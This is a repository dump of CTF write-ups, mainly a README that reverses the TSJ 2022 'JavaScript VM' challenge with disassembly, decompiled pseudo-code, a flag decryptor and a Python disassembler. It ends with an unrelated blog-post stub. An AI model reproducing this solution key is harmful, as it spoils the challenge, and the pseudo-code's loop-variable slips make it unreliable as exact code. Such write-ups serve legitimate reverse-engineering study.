2) 336 | 337 | registers[reg3] = registers[reg1] ^ registers[reg2] 338 | elif sInstr == 'SWAP': 339 | reg1 = int(binn[4:9], 2) 340 | 341 | most = registers[reg1] >> 24 342 | least = registers[reg1] & 0xFF 343 | 344 | registers[reg1] = (registers[reg1] & 0xFFFFFF00) | most 345 | registers[reg1] = (registers[reg1] & 0x00FFFFFF) | least 346 | 347 | elif sInstr == 'HALT': 348 | print('----------\nProgram Exited\n----------') 349 | return -1 350 | else: 351 | print('UNKNOWN INSTRUCTION') 352 | print(sInstr) 353 | 354 | 355 | PrintRegisters() 356 | return 0 357 | 358 | 359 | while True: 360 | print('D (Disassemble), S (Step), E (Exit)') 361 | inp = input() 362 | if inp == 'd': 363 | Disassemble() 364 | elif inp == 's': 365 | if Step() == -1: 366 | break 367 | elif inp == 'e': 368 | break 369 | 370 | while True: 371 | if Step() == -1: 372 | break 373 | 374 | out = open('bmpx/solve.bmpx', 'wb+') 375 | for i in range(len(memory)): 376 | out.write(memory[i]) -------------------------------------------------------------------------------- /TSJ/2022/reverse/javascript-vm/README.md: -------------------------------------------------------------------------------- 1 | # JavaScript VM 2 | 3 | ## tl;dr 4 | 5 | A binary built using a Virtual Machine built on NodeJS 6 | 7 | ## Analysis 8 | 9 | We get given an [open source JavaScript VM](https://github.com/francisrstokes/16bitjs) and a binary file compiled using it's compiler. 10 | 11 | By running the binary in the VM we can see that it asks for the flag 1 character at a time. 52 characters are required for the flag: 12 | 13 | ![Start](img/init_start.png) 14 | 15 | and ends with "Wrong": 16 | 17 | ![Start](img/init_end.png) 18 | 19 | ## Disassembling 20 | 21 | In order to see some sort of source code and try and analyze, I studied the VM's behavior with different instructions to be able to reconstruct the pseudo-assembly given the binary file. 22 | 23 | The VM runs on 16-bit (2-byte) instructions. We can pull every instruction's opcode and structure from the VM and create a python disassembler than will bring the binary file into a readable pseudo-assembly format. 24 | 25 | The result looks like this: 26 | 27 | ```asm 28 | 0x0: MVI A 2 29 | 0x1: JMR A 30 | 0x2: MVI D 75 31 | 0x3: AUI D 0 32 | 0x4: CAL D (0x4b) 33 | 0x5: MVI A 30 34 | 0x6: AUI A 1 35 | 0x7: LDR C 0x0[A] 36 | 0x8: MVI A 31 37 | 0x9: AUI A 1 38 | 0xa: LDR A 0x0[A] 39 | 0xb: MVI D 27 40 | 0xc: AUI D 0 41 | 0xd: GTE A C D 42 | 0xe: MVI D 156 43 | 0xf: AUI D 0 44 | 0x10: CAL D (0x9c) unnamed_2(); 45 | 0x11: MVI D 211 46 | 0x12: AUI D 0 47 | 0x13: CAL D (0xd3) unnamed_3(); 48 | 0x14: MVR C C 1 49 | 0x15: MVI A 30 50 | 0x16: AUI A 1 51 | 0x17: STR C 0x0[A] 52 | ... 53 | ``` 54 | 55 | The full disassembled file is too big so I've included it as a file. I've also included my python disassembler both as a file and at the end of this README. Let's look at the disassembled pieces that are useful to us... 56 | 57 | ## Discovering Calls 58 | 59 | We can see the following reoccuring pattern calls: 60 | ```asm 61 | 0x2: MVI D 75 62 | 0x3: AUI D 0 63 | 0x4: CAL D (0x4b) 64 | ``` 65 | 66 | ```asm 67 | 0xe: MVI D 156 68 | 0xf: AUI D 0 69 | 0x10: CAL D (0x9c); 70 | ``` 71 | 72 | ```asm 73 | 0x11: MVI D 211 74 | 0x12: AUI D 0 75 | 0x13: CAL D (0xd3); 76 | ``` 77 | 78 | A number gets moved into a register and then the register gets called. This means that we can distinguish 3 different functions that are being called from the program's start that we will see below. 79 | 80 | ## Main 81 | 82 | Looking at the disassembly's start, just after the first call, we see the following: 83 | 84 | ```asm 85 | 0x4: CAL D (0x4b) 86 | 0x5: MVI A 30 87 | 0x6: AUI A 1 88 | 0x7: LDR C 0x0[A] 89 | 0x8: MVI A 31 90 | 0x9: AUI A 1 91 | 0xa: LDR A 0x0[A] 92 | 0xb: MVI D 27 93 | 0xc: AUI D 0 94 | 0xd: GTE A C D 95 | ``` 96 | 97 | This can be somehow disassembled as: 98 | ``` 99 | A <- 30 100 | A <- A + 256 101 | C <- *A 102 | A <- 31 103 | A <- A + 256 104 | A <- *A 105 | 106 | // By this point C = *(30 + 256), A = *(31 + 256) 107 | D <- 27 108 | IF A >= C GOTO D // IF mem[31] < mem[30] GOTO 27 109 | ``` 110 | 111 | But by checking around 27 (0x1B): 112 | 113 | ```asm 114 | 0x14: MVR C C 1 115 | 0x15: MVI A 30 116 | 0x16: AUI A 1 117 | 0x17: STR C 0x0[A] 118 | 0x18: MVI D 5 119 | 0x19: AUI D 0 120 | 0x1a: JMR A 121 | 0x1b: MVI A 29 122 | 0x1c: AUI A 1 123 | 0x1d: MVI B 0 124 | 0x1e: AUI B 0 125 | ``` 126 | 127 | We can decompile this as: 128 | 129 | ``` 130 | C <- C + 1 131 | A <- 30 132 | A <- A + 1 133 | *A <- C 134 | D <- 5 135 | GOTO D // GOTO 5 136 | ... <- 0x1B 137 | ``` 138 | 139 | Because 5 is the start of the loop (0x5) and C is being increased by 1 then being stored in mem[30], while then also being checked in the start of the loop and compared as mem[30] < mem[31], we can kind of guess this might be a for loop. Because of this, we decompile this and it's inner code as: 140 | 141 | ```c++ 142 | read_input(); 143 | while(swirl_counter < mem[31]){ // 32 loops 144 | swirl(); 145 | add_or_smth(); 146 | swirl_counter++; 147 | } 148 | ``` 149 | 150 | We also notice SYS calls. If we look at the VM's handling of SYS calls, we can see that it handles it the following way: 151 | 152 | ``` 153 | IF REGISTER_A == 0 THEN 154 | STDOUT 155 | ELSE 156 | STDIN 157 | ``` 158 | 159 | Also, when stdout, the following modes are presented depending on register C: 160 | 161 | ![Stdout](img/output_modes.png) 162 | 163 | So for example, the assembly piece: 164 | 165 | ```asm 166 | 0x43: MVI A 0 167 | 0x44: AUI A 0 168 | 0x45: MVI B 254 169 | 0x46: AUI B 1 170 | 0x47: MVI C 4 171 | 0x48: AUI C 0 172 | 0x49: SYS 173 | ``` 174 | 175 | Would print the string at memory location 254 + 256 to stdout. 176 | 177 | We disassemble the rest of the main function (till we meet 0x4b which we found as the first function) in a similar way to get: 178 | 179 | ```c++ 180 | read_input(); 181 | while(swirl_counter < mem[31]){ // 32 loops 182 | swirl(); 183 | add_or_smth(); 184 | swirl_counter++; 185 | } 186 | 187 | for(int iter = 0; i < flag_len; ++i){ 188 | if(enc_flag[iter] != input_flag[iter]){ 189 | stdout_string("Wrong!\n"); // "Wrong!" 190 | exit(); 191 | } 192 | } 193 | 194 | stdout_string("Correct!"); // "Correct!" 195 | exit() 196 | ``` 197 | 198 | Naming is already done by me, but quite obviously 32 rounds of some encryption are run on the input which is then compared with some sort of encrypted flag in the binary's memory. 199 | 200 | ## Input 201 | 202 | ```c++ 203 | void read_input(){ 204 | for(int g_iter = 0; g_iter < g_flag_len; ++i){ 205 | stdout_string("flag["); // "flag[" 206 | stdout_number(g_iter); // counter (mem[28]) 207 | stdout_string("]: "); // "]:" 208 | 209 | do{ 210 | temp = input(); // input 211 | }while(temp < 1); 212 | 213 | g_input_flag[g_iter] = temp; 214 | 215 | stdout_char(temp); 216 | stdout_char("\n"); // "\n" 217 | } 218 | return; 219 | } 220 | ``` 221 | 222 | ## Swirl 223 | 224 | ```c++ 225 | void swirl(){ 226 | for(int iter = 0; i < g_input_flag_len; ++i){ 227 | temp = g_input_flag[iter]; 228 | g_input_flag[iter] = g_input_flag[swirl[iter]]; 229 | g_input_flag[swirl[iter]] = temp; 230 | } 231 | return; 232 | } 233 | ``` 234 | 235 | ## Mess 236 | 237 | ```c++ 238 | void mess(){ 239 | for(int iter = 0; i < flag_len; ++i){ 240 | g_input_flag[iter] = mapper[(iter + swirl_counter + 11) % flag_len] 241 | } 242 | return; 243 | } 244 | ``` 245 | 246 | ## Decryptor 247 | 248 | We import the 3 52-byte arrays that we found above into a python script - the swirl array (256 + 32), the mapper array (256 + 132) and the encrypted flag (256 + 191). 249 | 250 | The original obfuscation is given by the following algorithm: 251 | ``` 252 | input_flag <- input() 253 | 254 | loop from 0 to 31: 255 | swirl(input_flag) 256 | wrap(input_flag) 257 | 258 | if in == encrypted_flag: 259 | correct 260 | ``` 261 | 262 | This encryption can be reversed as: 263 | 264 | ``` 265 | input <- encrypted_flag 266 | 267 | loop from 31 to 0: 268 | swirl_backwards(input) 269 | wrap_backwards(input) 270 | 271 | print("Flag: " + input) 272 | ``` 273 | 274 | With swirl_backwards and wrap_backwards just doing the same as swirl and wrap but in reverse order (from 51 to 0). 275 | 276 | In python: 277 | 278 | ```python 279 | # 32 280 | swirl = [28,10,17,38,37,13,26,14,25,23,3,15,21,18,41,19,4,16,5,39,8,32,27,33,11,0,34,46,36,35,51,47,22,6,40,2,29,7,24,45,12,44,31,30,49,43,48,42,50,1,20,9] 281 | 282 | # 132 283 | mapper = [0x61,0x65,0x71,0x75,0x65,0x6f,0x73,0x61,0x6c,0x69,0x6e,0x6f,0x63,0x61,0x6c,0x63,0x61,0x6c,0x69,0x6e,0x6f,0x63,0x65,0x72,0x61,0x63,0x65,0x6f,0x61,0x6c,0x75,0x6d,0x69,0x6e,0x6f,0x73,0x6f,0x63,0x75,0x70,0x72,0x65,0x6f,0x76,0x69,0x74,0x72,0x69,0x6f,0x6c,0x69,0x63] 284 | 285 | # 191 286 | encoded_flag = [0x7f,0x94,0xd4,0xf2,0xf7,0xaf,0x98,0xba,0x9e,0xd7,0x85,0xb3,0xfb,0xdd,0xcf,0xb7,0xe6,0x5e,0x03,0xaf,0xd8,0xb3,0xc3,0xb7,0xbe,0xa2,0xbd,0x51,0xaa,0x98,0xd1,0xa4,0xc4,0xa0,0x62,0x61,0x57,0x91,0x58,0x9d,0xf8,0xc5,0xaf,0x88,0xb4,0xba,0xe9,0xaf,0xdf,0xa9,0xb9,0xd9] 287 | 288 | flag_len = len(encoded_flag) 289 | def do_swirl(): 290 | for i in reversed(range(flag_len)): 291 | temp = encoded_flag[i] 292 | encoded_flag[i] = encoded_flag[swirl[i]] 293 | encoded_flag[swirl[i]] = temp 294 | 295 | def do_ath(swirl_counter): 296 | for i in reversed(range(flag_len)): 297 | encoded_flag[i] = (encoded_flag[i] - mapper[(i + swirl_counter + 11) % flag_len]) & 0xFF 298 | 299 | for i in reversed(range(32)): 300 | do_ath(i) 301 | do_swirl() 302 | 303 | print(''.join([chr(c) for c in encoded_flag])) 304 | ``` 305 | 306 | ## Flag 307 | 308 | By running the script, we get the flag: 309 | 310 | ![Flag](img/flag.png) 311 | 312 | ## Disassembler 313 | 314 | ```py 315 | import math 316 | 317 | class bcolors: 318 | HEADER = '\033[95m' 319 | OKBLUE = '\033[94m' 320 | OKCYAN = '\033[96m' 321 | OKGREEN = '\033[92m' 322 | WARNING = '\033[93m' 323 | FAIL = '\033[91m' 324 | ENDC = '\033[0m' 325 | BOLD = '\033[1m' 326 | UNDERLINE = '\033[4m' 327 | 328 | constants = { 329 | 'INSTRUCTIONS': [ 330 | 'MVR', 331 | 'MVV', 332 | 'LDR', 333 | 'STA', 334 | 'ATH', 335 | 'CAL', 336 | 'JCP', 337 | 'PSH', 338 | 'POP', 339 | 'JMP', 340 | 'JMR', 341 | 'LDA', 342 | 'STR', 343 | 'NOA' 344 | ], 345 | 'REGISTERS': [ 346 | 'A', 347 | 'B', 348 | 'C', 349 | 'D' 350 | ], 351 | 'ARITHMETIC': [ 352 | 'ADD', 353 | 'SUB', 354 | 'MUL', 355 | 'DIV', 356 | 'INC', 357 | 'DEC', 358 | 359 | 'LSF', 360 | 'RSF', 361 | 'AND', 362 | 'OR', 363 | 'XOR', 364 | 'NOT' 365 | ], 366 | 'MOVE': [ 367 | 'MVI', 368 | 'ADI', 369 | 'MUI', 370 | 'AUI' 371 | ], 372 | 'SYSOPS': [ 373 | 'NOP', 374 | 'RET', 375 | 'SYS', 376 | 'HALT' 377 | ], 378 | 'JUMP': [ 379 | 'EQ', 380 | 'NEQ', 381 | 'LT', 382 | 'GT', 383 | 'LTE', 384 | 'GTE', 385 | 'ZER', 386 | 'NZE' 387 | ] 388 | } 389 | 390 | registers = { 391 | 'A': 0, 392 | 'B': 0, 393 | 'C': 0, 394 | 'D': 0 395 | } 396 | 397 | sBinary = open('chall.bin', 'rb').read() 398 | print(len(sBinary)) 399 | 400 | lFuncCounter = 1 401 | lLastFuncOffset = 0 402 | fFunctions = {} 403 | 404 | for lIter in range(0, math.floor(len(sBinary)), 2): 405 | lInstrOffset = math.floor(lIter / 2) 406 | iBitInstr = bin(sBinary[lIter+1])[2:].zfill(8) + bin(sBinary[lIter])[2:].zfill(8) 407 | 408 | iOpCode = int(iBitInstr[12:16], 2) 409 | sOpCode = constants['INSTRUCTIONS'][iOpCode] 410 | 411 | # Registers 412 | rDest = int(iBitInstr[10:12], 2) 413 | 414 | if sOpCode == 'ATH': 415 | iOperation = int(iBitInstr[4:8], 2) 416 | bShiftVal = int(iBitInstr[:3], 2) 417 | rSrc = int(iBitInstr[8:10], 2) 418 | mMode = int(iBitInstr[3], 2) 419 | 420 | if mMode == 1: 421 | sOutInstr = f"{hex(lInstrOffset)}: {constants['ARITHMETIC'][iOperation]} {constants['REGISTERS'][rSrc]} {constants['REGISTERS'][rDest]}" 422 | else: 423 | sOutInstr = f"{hex(lInstrOffset)}: {constants['ARITHMETIC'][iOperation]} {constants['REGISTERS'][rDest]} {constants['REGISTERS'][rSrc]}" 424 | 425 | elif sOpCode == 'CAL': 426 | 427 | fFunctions[lLastFuncOffset] = f"unnamed_{lFuncCounter}" 428 | lFuncCounter += 1 429 | sOutInstr = f"{hex(lInstrOffset)}: {bcolors.OKCYAN}{constants['INSTRUCTIONS'][iOpCode]} {constants['REGISTERS'][rDest]} {bcolors.ENDC}{bcolors.OKGREEN}({hex(lLastFuncOffset)}){bcolors.ENDC}" 430 | elif sOpCode == 'MVV': 431 | iOperation = int(iBitInstr[8:10], 2) 432 | sOperation = constants['MOVE'][iOperation] 433 | rValue = int(iBitInstr[:8], 2) 434 | 435 | if sOperation == 'MVI': 436 | lLastFuncOffset = rValue 437 | 438 | sOutInstr = f"{hex(lInstrOffset)}: {sOperation} {constants['REGISTERS'][rDest]} {rValue}" 439 | elif sOpCode == 'JMR': 440 | rSrc = int(iBitInstr[8:10], 2) 441 | 442 | sOutInstr = f"{hex(lInstrOffset)}: {constants['INSTRUCTIONS'][iOpCode]} {constants['REGISTERS'][rSrc]}" 443 | elif sOpCode == 'NOA': 444 | iOperation = int(iBitInstr[8:12], 2) 445 | sOperation = constants['SYSOPS'][iOperation] 446 | 447 | sOutInstr = f"{hex(lInstrOffset)}: {bcolors.HEADER}{constants['SYSOPS'][iOperation]}{bcolors.ENDC}" 448 | elif sOpCode == 'PSH': 449 | rSrc = int(iBitInstr[8:10], 2) 450 | 451 | sOutInstr = f"{hex(lInstrOffset)}: {constants['INSTRUCTIONS'][iOpCode]} {constants['REGISTERS'][rSrc]}" 452 | elif sOpCode == 'POP': 453 | 454 | sOutInstr = f"{hex(lInstrOffset)}: {constants['INSTRUCTIONS'][iOpCode]} {constants['REGISTERS'][rDest]}" 455 | elif sOpCode == 'LDA': 456 | lAddr = hex(int(iBitInstr[:10], 2)) 457 | 458 | sOutInstr = f"{hex(lInstrOffset)}: {constants['INSTRUCTIONS'][iOpCode]} {constants['REGISTERS'][rDest]} {lAddr}" 459 | elif sOpCode == 'LDR': 460 | rSrc = int(iBitInstr[8:10], 2) 461 | lOffset = hex(int(iBitInstr[:8], 2)) 462 | 463 | sOutInstr = f"{hex(lInstrOffset)}: {constants['INSTRUCTIONS'][iOpCode]} {constants['REGISTERS'][rDest]} {bcolors.OKGREEN}{lOffset}{bcolors.ENDC}[{rSrc}]" 464 | elif sOpCode == 'JCP': 465 | iOperation = int(iBitInstr[3:6], 2) 466 | rSrc = int(iBitInstr[8:10], 2) 467 | lAddr = int(iBitInstr[6:8], 2) 468 | 469 | sOutInstr = f"{hex(lInstrOffset)}: {constants['JUMP'][iOperation]} {constants['REGISTERS'][rSrc]} {constants['REGISTERS'][rDest]} {constants['REGISTERS'][lAddr]}" 470 | elif sOpCode == 'MVR': 471 | rSrc = int(iBitInstr[8:10], 2) 472 | vValue = int(iBitInstr[:8], 2) 473 | 474 | sOutInstr = f"{hex(lInstrOffset)}: {constants['INSTRUCTIONS'][iOpCode]} {constants['REGISTERS'][rDest]} {constants['REGISTERS'][rSrc]} {vValue}" 475 | elif sOpCode == 'STR': 476 | rSrc = int(iBitInstr[8:10], 2) 477 | lOffset = hex(int(iBitInstr[:8], 2)) 478 | 479 | sOutInstr = f"{hex(lInstrOffset)}: {constants['INSTRUCTIONS'][iOpCode]} {constants['REGISTERS'][rSrc]} {bcolors.OKGREEN}{lOffset}{bcolors.ENDC}[{constants['REGISTERS'][rDest]}]" 480 | else: 481 | sOutInstr = f"{hex(lInstrOffset)}: {constants['INSTRUCTIONS'][iOpCode]}" 482 | 483 | if(lInstrOffset in fFunctions): 484 | print(f"\n{bcolors.WARNING}-- Function {fFunctions[lInstrOffset]} --{bcolors.ENDC}") 485 | print(sOutInstr) 486 | ``` 487 | 488 | +++ 489 | title="Tenth Post" 490 | date=2019-07-29 491 | 492 | [taxonomies] 493 | categories = ["Sample Post"] 494 | tags = ["post", "lorem"] 495 | +++ 496 | --------------------------------------------------------------------------------